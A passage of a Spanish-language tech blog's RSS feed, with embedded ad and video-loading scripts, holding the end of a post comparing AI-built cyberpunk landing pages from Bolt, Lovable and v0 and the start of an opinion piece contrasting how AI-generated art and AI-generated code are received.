return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;landing-page-en-bolt&#34;&gt;Landing Page en Bolt&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;La propuesta de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://bolt.new/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Bolt&lt;/a&gt;&#xA; fue mi favorita de las tres&lt;/strong&gt;. Usar el efecto de luces de neón en las letras me parece un acierto, ya que refleja perfectamente la estética cyberpunk de novelas como neuromante o videojuegos como Cyberpunk 2077.&lt;/p&gt;&#xA;&lt;p&gt;La AI de Bolt añadió imágenes que van con la paleta de colores, el marco en la imagen me parece también un toque bastante acertado, y la cereza del pastel es el efecto tipo glitch en el hero, usado frecuentemente en material audiovisual de estilo Cyberpunk.&lt;/p&gt;&#xA;&lt;div class=&#34;video-embed&#34; style=&#34;width: 100%; margin: 1rem 0;&#34;&gt;&#xA;  &lt;video &#xA;    id=&#34;video-1781383877059577788&#34;&#xA;    &#xA;    controls&#xA;    data-autoplay&#xA;    loop&#xA;    muted&#xA;    preload=&#34;none&#34;&#xA;    data-src=&#34;https://res.cloudinary.com/dwrscezd2/video/upload/v1752633837/coffee-bytes/bolt_d6pbio_05mb_bsyje5.mp4&#34;&#xA;    style=&#34;width: 100%; height: auto; border-radius: 4px;&#34;&#xA;  &gt;&#xA;    Your browser does not support the video tag.&#xA;  &lt;/video&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;script&gt;&#xA;  [&#34;DOMContentLoaded&#34;, &#34;htmx:afterSettle&#34;, &#34;htmx:historyRestore&#34;].forEach(event =&gt; document.addEventListener(event, function() {&#xA;  &#xA;  if (!window.videoObserver) {&#xA;    const loadVideo = (video) =&gt; {&#xA;      const source = document.createElement(&#39;source&#39;);&#xA;      source.src = video.dataset.src;&#xA;      source.type = video.dataset.src.endsWith(&#39;.webm&#39;) ? &#39;video/webm&#39; &#xA;               : video.dataset.src.endsWith(&#39;.ogg&#39;) ? &#39;video/ogg&#39; &#xA;               : &#39;video/mp4&#39;;&#xA;      video.appendChild(source);&#xA;      video.load();&#xA;      &#xA;      if (video.hasAttribute(&#39;data-autoplay&#39;)) {&#xA;        video.setAttribute(&#39;autoplay&#39;, &#39;&#39;);&#xA;        video.play().catch(e =&gt; console.log(&#39;Autoplay prevented:&#39;, e));&#xA;      }&#xA;    };&#xA;&#xA;    const observer = new IntersectionObserver((entries) =&gt; {&#xA;      entries.forEach(entry =&gt; {&#xA;        if (entry.isIntersecting) {&#xA;          const video = entry.target;&#xA;          loadVideo(video);&#xA;          observer.unobserve(video);&#xA;        }&#xA;      });&#xA;    }, {&#xA;      rootMargin: &#39;200px&#39;,&#xA;      threshold: 0.1&#xA;    });&#xA;&#xA;    window.videoObserver = observer;&#xA;  }&#xA;&#xA;  &#xA;  const video = document.getElementById(&#39;video-1781383877059577788&#39;);&#xA;  if (video) {&#xA;    window.videoObserver.observe(video);&#xA;  }&#xA;}))&#xA;&lt;/script&gt;&#xA;&lt;p&gt;Sencillamente perfecto, no tuve problema alguno con la instalación. Lo que sí noté es que el código utiliza bastantes recursos incluso en ausencia de interacción. No he revisado el código con detalle pero pienso hacerlo y actualizar esta entrada.&lt;/p&gt;&#xA;&lt;h2 id=&#34;landing-page-en-lovable&#34;&gt;Landing Page en Lovable&lt;/h2&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://lovable.dev/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Lovable&lt;/a&gt;&#xA; también cumple al entregar una landing page funcional. Sin embargo, siento que esta vez fue un poquito demasiado para mí.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;El fondo de Matrix, si bien supongo que está relacionado con la temática cyberpunk, por la naturaleza de la película, no siento que sea un elemento que deba integrarse en una landing page (A menos de que se trate de la película &amp;ldquo;Matrix&amp;rdquo;).&lt;/p&gt;&#xA;&lt;p&gt;Además, considero que la AI exageró un poquito con todos los efectos. En la página todo es interactivo, todo vibra y todo se mueve, tanto que se siente sobresaturado.&lt;/p&gt;&#xA;&lt;div class=&#34;video-embed&#34; style=&#34;width: 100%; margin: 1rem 0;&#34;&gt;&#xA;  &lt;video &#xA;    id=&#34;video-1781383877059647526&#34;&#xA;    &#xA;    controls&#xA;    data-autoplay&#xA;    loop&#xA;    muted&#xA;    preload=&#34;none&#34;&#xA;    data-src=&#34;https://res.cloudinary.com/dwrscezd2/video/upload/v1752633780/coffee-bytes/lovable_no_sound_aokgmp_0_5mb_k12z7k.mp4&#34;&#xA;    style=&#34;width: 100%; height: auto; border-radius: 4px;&#34;&#xA;  &gt;&#xA;    Your browser does not support the video tag.&#xA;  &lt;/video&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;script&gt;&#xA;  [&#34;DOMContentLoaded&#34;, &#34;htmx:afterSettle&#34;, &#34;htmx:historyRestore&#34;].forEach(event =&gt; document.addEventListener(event, function() {&#xA;  &#xA;  if (!window.videoObserver) {&#xA;    const loadVideo = (video) =&gt; {&#xA;      const source = document.createElement(&#39;source&#39;);&#xA;      source.src = video.dataset.src;&#xA;      source.type = video.dataset.src.endsWith(&#39;.webm&#39;) ? &#39;video/webm&#39; &#xA;               : video.dataset.src.endsWith(&#39;.ogg&#39;) ? &#39;video/ogg&#39; &#xA;               : &#39;video/mp4&#39;;&#xA;      video.appendChild(source);&#xA;      video.load();&#xA;      &#xA;      if (video.hasAttribute(&#39;data-autoplay&#39;)) {&#xA;        video.setAttribute(&#39;autoplay&#39;, &#39;&#39;);&#xA;        video.play().catch(e =&gt; console.log(&#39;Autoplay prevented:&#39;, e));&#xA;      }&#xA;    };&#xA;&#xA;    const observer = new IntersectionObserver((entries) =&gt; {&#xA;      entries.forEach(entry =&gt; {&#xA;        if (entry.isIntersecting) {&#xA;          const video = entry.target;&#xA;          loadVideo(video);&#xA;          observer.unobserve(video);&#xA;        }&#xA;      });&#xA;    }, {&#xA;      rootMargin: &#39;200px&#39;,&#xA;      threshold: 0.1&#xA;    });&#xA;&#xA;    window.videoObserver = observer;&#xA;  }&#xA;&#xA;  &#xA;  const video = document.getElementById(&#39;video-1781383877059647526&#39;);&#xA;  if (video) {&#xA;    window.videoObserver.observe(video);&#xA;  }&#xA;}))&#xA;&lt;/script&gt;&#xA;&lt;p&gt;Si bien estoy consciente que estos resultados pueden refinarse tras múltiples iteraciones, al ver esto no puedo evitar pensar en un programador novato que busca plasmar absolutamente todos los efectos que acaba de aprender en una sola página web.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Además el footer solo cuenta con el logo y la leyenda de copyright, sin enlaces ni secciones.&lt;/p&gt;&#xA;&lt;h3 id=&#34;como-descargar-el-codigo-de-lovable&#34;&gt;¿Cómo descargar el código de lovable?&lt;/h3&gt;&#xA;&lt;p&gt;Otro aspecto a destacar es que, Lovable no te deja descargar el código directamente (o para mi fue imposible encontrar donde sin un plan premium). Por lo que en este punto la considero inferior a sus contrincantes, que sí ofrecen el código disponible para descarga sin muchas complicaciones.&lt;/p&gt;&#xA;&lt;p&gt;Quizás un poco de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/fine-tuning-de-un-llm-guia-practica-con-recursos/&#34;&gt;fine tuning&lt;/a&gt;&#xA; pudiera solucionar el problema.&lt;/p&gt;&#xA;&lt;h2 id=&#34;bolt-vs-lovable-vs-v0-vercel&#34;&gt;Bolt vs Lovable vs v0 Vercel&lt;/h2&gt;&#xA;&lt;p&gt;Si consideramos únicamente el resultado obtenido, &lt;strong&gt;sostengo que Bolt sería el ganador&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;En cuanto a la experiencia al usar la herramienta, yo considero que es bastante similar en los tres casos. Los tres utilizan interfaces que parecen estarse convirtiendo en un estándar, y la verdad es que ni siquiera puedo recordar si existe alguna diferencia significativa entre las tres opciones.&lt;/p&gt;&#xA;&lt;h2 id=&#34;la-creacion-de-sitios-con-llm-es-imperfecta&#34;&gt;La creación de sitios con LLM es imperfecta&lt;/h2&gt;&#xA;&lt;p&gt;Algo que me pareció bastante curioso, es que si bien existen diferencias sutiles en cuanto a los fondos, el tamaño de los botones, las interacciones, y demás elementos visuales, las tres páginas utilizan exactamente el mismo layout de landing page; una navbar con un menú orientado al lado derecho, el logo del lado izquierdo, todas más o menos a la misma distancia y con 3-4 secciones. ¿Es necesariamente malo eso?&lt;/p&gt;&#xA;&lt;h3 id=&#34;todos-los-sitios-de-los-llm-lucen-igual&#34;&gt;Todos los sitios de los LLM lucen igual&lt;/h3&gt;&#xA;&lt;p&gt;En realidad no es necesariamente malo, pero le quita personalidad al sitio web. Si tienes un negocio no quieres lucir igual que tu competencia, quieres destacarte y para eso necesitas un diseño diferente al resto. Uno de los problemas con los LLM es siempre devuelven el token más probable, por lo que el código que produzcan será similar para todos los usuarios que la usen, probablemente el mismo layout, paleta de colores y textos similares.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1752184598/coffee-bytes/ai-layout-landing_nsyj1p.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1752184598/coffee-bytes/ai-layout-landing_nsyj1p.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Todos las landing pages de AI lucen igual&#34; width=&#34;1377&#34; height=&#34;937&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Lo anterior es una mala noticia si quieres un sitio web que destaque entre la multitud, pues la única solución es la personalización, ya sea por un profesional o dedicarle horas al modelo para que te entregue algo diferente.&lt;/p&gt;&#xA;&lt;h3 id=&#34;los-generadores-de-codigo-usando-llm-olvidan-el-seo&#34;&gt;Los generadores de código usando LLM olvidan el SEO&lt;/h3&gt;&#xA;&lt;p&gt;Otra cosa extra que pude notar es la ausencia total de incluso el más básico &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/seo/mi-guia-de-seo-tecnico-basico-solo-para-desarrolladores-web/&#34;&gt;SEO técnico en la landing page&lt;/a&gt;&#xA;, así que no cuentes con llevar tu sitio web a las primeras posiciones de Google sin invertirle algo de tiempo. Pero hey, los sitios web solo requirieron un prompt.&lt;/p&gt;&#xA;&lt;p&gt;Sorprendentemente, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/el-arte-generado-con-ai-y-el-codigo-generado-con-ai-son-tratados-de-manera-diferente/&#34;&gt;a diferencia del arte generado por IA, estas herramientas de código generado por IA&lt;/a&gt;&#xA; pasaron inadvertidas para las personas que no son expertas en tecnología.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Todos los influencers de tecnología están esparciendo el FOMO y hablando de herramientas como Bolt, V0 de Vercel, y Lovable. Pero lo entiendo, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/el-auge-y-la-caida-de-la-burbuja-de-ai/&#34;&gt;aún estamos en una burbuja de AI&lt;/a&gt;&#xA;. El &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/el-nuevo-dios-el-delirante-culto-a-la-ai-en-redes/&#34;&gt;delirante culto a la IA en redes sociales&lt;/a&gt;&#xA; está fuerte con estos influencers.&lt;/p&gt;&#xA;&lt;p&gt;Sin embargo, a pesar de su valoración poco realista, estoy asombrado de lo que estas herramientas pueden hacer sin necesidad de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;API REST&lt;/a&gt;&#xA; ni integraciones del &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/te-explico-el-model-context-protocol-mcp-y-para-que-sirve/&#34;&gt;Protocolo de contexto del modelo&lt;/a&gt;&#xA; por parte del usuario.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>El arte generado con AI y el código generado con AI son tratados de manera diferente</title>
      <link>https://coffeebytes.dev/es/opinion/el-arte-generado-con-ai-y-el-codigo-generado-con-ai-son-tratados-de-manera-diferente/</link>
      <pubDate>Sun, 25 May 2025 14:29:58 -0600</pubDate>
      <guid>https://coffeebytes.dev/es/opinion/el-arte-generado-con-ai-y-el-codigo-generado-con-ai-son-tratados-de-manera-diferente/</guid>
      
      <category>opinion</category>
      
      <category>artificial intelligence</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;El día de hoy, mientras hacía &lt;em&gt;doom scrolling&lt;/em&gt; en la red social de Zuckerberg, el algoritmo me recomendó una imagen de &lt;strong&gt;Sakura Card Captors&lt;/strong&gt; al estilo de la pintora española &lt;strong&gt;Remedios Varo&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1748206520/coffee-bytes/sakura-card-captors-remedios-varo_mwazan.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1748206520/coffee-bytes/sakura-card-captors-remedios-varo_mwazan.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Imagen de Sakura Card Captors al estilo de Remedios Varo creada con AI&#34; width=&#34;700&#34; height=&#34;1050&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Imagen de Sakura Card Captors al estilo de Remedios Varo creada con AI&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Al revisar los comentarios —ya ni sé qué gano con hacerlo— noté que los que tenían más &lt;em&gt;likes&lt;/em&gt; expresaban un fuerte desprecio por la inteligencia artificial. Un comportamiento perfectamente normal si estás &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/el-auge-y-la-caida-de-la-burbuja-de-ai/&#34;&gt;justo a la mitad de una burbuja de AI&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;los-artistas-odian-la-ai-a-los-devs-se-les-obliga-a-aceptarla&#34;&gt;Los artistas odian la AI, a los devs se les obliga a aceptarla&lt;/h2&gt;&#xA;&lt;p&gt;Hay un consenso muy fuerte por parte del gremio de artistas hacia la AI.&lt;/p&gt;&#xA;&lt;p&gt;Movimientos como el #NOAI o &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.forbes.com/sites/lesliekatz/2024/07/17/human-intelligence-art-movement-takes-defiant-stand-against-ai/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Made with human intelligence&lt;/a&gt;&#xA; han dejado muy en claro el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://notbyai.fyi/es/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;rechazo hacia esta tecnología&lt;/a&gt;&#xA;. El desprecio parece venir de la manera en la que fue entrenada, usando material de artistas sin su permiso, acusada de plagiar algo tan personal como un estilo y también que algunos sienten que están siendo reemplazados por esta tecnología, lo cual les afecta económicamente.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753062961/coffee-bytes/no-ai-movement_g772l5.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753062961/coffee-bytes/no-ai-movement_g772l5.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;NO AI movement&#34; width=&#34;600&#34; height=&#34;600&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;NO AI movement&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Por otro lado, en el mundo del software ha habido una tendencia muy fuerte (desconozco si orgánica u orquestada) para adoptarla como una herramienta más disponible a utilizar para incrementar la calidad y cantidad de código producido. Incluso cuando existe rechazo este se centra más en el aspecto técnico y las posibles falencias, en lugar de en las cuestiones éticas de su proceso de entrenamiento.&lt;/p&gt;&#xA;&lt;p&gt;Este contraste me parece fascinante.&lt;/p&gt;&#xA;&lt;h2 id=&#34;mis-ideas-sobre-porque-el-codigo-creado-con-ai-y-el-arte-creado-con-ai-se-tratan-diferente&#34;&gt;Mis ideas sobre porque el código creado con AI y el arte creado con AI se tratan diferente&lt;/h2&gt;&#xA;&lt;p&gt;No es que uno esté bien o mal, simplemente me llama bastante la atención.&lt;/p&gt;&#xA;&lt;p&gt;Tal vez se deba a que el arte es una forma directa de comunicación visual y emocional. Y el hecho de que sea generado por una máquina, puede percibirse como una &lt;em&gt;forma inferior&lt;/em&gt; de expresión, o una amenaza a algo que se considera enteramente humano.&lt;/p&gt;&#xA;&lt;p&gt;En cambio, el código, por su naturaleza funcional y abstracta, carece de esa carga emocional y que un programa informático lo genere pasa completamente inadvertido.&lt;/p&gt;&#xA;&lt;p&gt;Los seres humanos evolucionamos usando la vista como herramienta de supervivencia, por lo que todo aquello que pueda ser percibido de manera visual tendrá un estímulo más significativo. El código como abstracción de la lógica es muy reciente y no formó parte de las presiones evolutivas de nuestra especie ni de la realidad material, además dada su naturaleza, es mucho menos visual. Cabe recordar que el código no es el producto final, sino una abstracción.&lt;/p&gt;&#xA;&lt;h3 id=&#34;el-codigo-es-pragmatico-el-arte-no-tanto&#34;&gt;El código es pragmático, el arte no tanto&lt;/h3&gt;&#xA;&lt;p&gt;El código se creó para abstraer, en un lenguaje más similar al humano, una serie de instrucciones en un ordenador, con un propósito establecido bien definido y determinista.&lt;/p&gt;&#xA;&lt;p&gt;Pero el arte cuenta una historia diferente.&lt;/p&gt;&#xA;&lt;p&gt;Oscar Wilde diría que:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;ldquo;All art is quite useless&amp;rdquo;&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;Su frase no habla de que el arte sea inútil, sino que existe por belleza y expresión, no por supervivencia o instrucción moral.&lt;/p&gt;&#xA;&lt;p&gt;Si lo anterior tiene algo de verdad, el arte es mucho más flexible que el código y los sistemas lógico-matemáticos.&lt;/p&gt;&#xA;&lt;p&gt;Considero que, es justo esta flexibilidad la que permite que la AI, de mano con la aleatoridad, funcione de manera tan diferente para el arte y el código.&lt;/p&gt;&#xA;&lt;h2 id=&#34;el-papel-de-la-aleatoridad-en-los-modelos-generativos-y-llm&#34;&gt;El papel de la aleatoridad en los modelos generativos y LLM&lt;/h2&gt;&#xA;&lt;p&gt;La AI es capaz de abstraer patrones a partir de su conjunto de datos de entrenamiento. Una vez que abstrae esos patrones o arquetipos, utiliza la aleatoriedad para generar resultados que &amp;ldquo;encajen&amp;rdquo; en esos patrones.&lt;/p&gt;&#xA;&lt;h3 id=&#34;generacion-de-arte-usando-ai&#34;&gt;Generación de arte usando AI&lt;/h3&gt;&#xA;&lt;p&gt;Un artista recopila estímulos de otros artistas, experiencias personales, libros, música… y todo eso lo &amp;ldquo;mezcla&amp;rdquo; para crear algo nuevo. El resultado es algo que, aunque original, &lt;strong&gt;conserva ciertas referencias o características de las obras que lo inspiraron, por más sutiles que sean&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Todo lo anterior de manera consciente, mientras que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/chat-gpt-la-habitacion-china-de-searle-y-la-consciencia/&#34;&gt;la AI lo hace inconscientemente, o al menos eso sugeriría Searle&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;generacion-de-codigo-usando-ai&#34;&gt;Generación de código usando AI&lt;/h3&gt;&#xA;&lt;p&gt;En el caso de la generación de código mediante AI, el proceso es prácticamente el mismo. La AI detecta patrones en numerosas muestras de código y luego genera código nuevo, diferente, pero basado en los patrones que los LLM han &amp;ldquo;aprendido&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;En cambos 